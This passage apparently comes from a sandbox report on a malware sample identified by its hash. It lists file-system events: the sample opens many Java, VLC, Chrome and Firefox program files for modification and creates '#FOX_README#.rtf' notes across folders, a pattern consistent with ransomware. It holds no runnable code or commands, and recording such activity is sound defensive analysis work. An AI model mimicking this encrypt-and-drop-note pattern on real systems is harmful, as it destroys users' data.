f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\updater.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setNetworkClientCP f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_zh_HK.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.batik.util.gui_1.7.0.v200903091627.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\common.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\uarrow.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macGrey.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\maintenanceservice.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\org-openide-filesystems.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\de.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-core.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\javaws.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\charsets.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-common.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\en-GB.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\meta-index f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jsadebugd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_sv.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\masterix.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateCore.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\chrome.7z f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\keytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\LICENSE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-actions.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\pop3.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\jamendo.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\sunpkcs11.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\conticon.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-container.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\New_Skins.url f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\servertool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4_1.0.800.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\THIRDPARTYLICENSEREADME-JAVAFX.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jmx.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\classfile_constants.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\locale\jfluid-server_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\sa-jdi.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\hi.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-appui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\custom.lua f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\config.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jmc.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\cacerts f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaBrightRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator_1.1.0.v20131217-1203.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\boot_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-charts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setNetworkServerCP f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\uninstall\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-awt_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvmstat.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\classlist f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sampler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.runtime_0.10.0.v201209301036.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\blafdoc.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-multiview.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaBrightDemiItalic.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-settings.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\COPYRIGHT f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\javacpl.cpl f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyclient.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.console_1.1.0.v20140131-1639.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\bg.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-javahelp.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\boot.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-applemenu.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\java.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker_1.1.200.v20131119-0908.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\blacklist f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-uisupport.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\new-trigger-wiz.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\nashorn.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\jp2launcher.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-swing-tabcontrol.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\locale\updater_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives_1.1.100.v20140523-0116.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 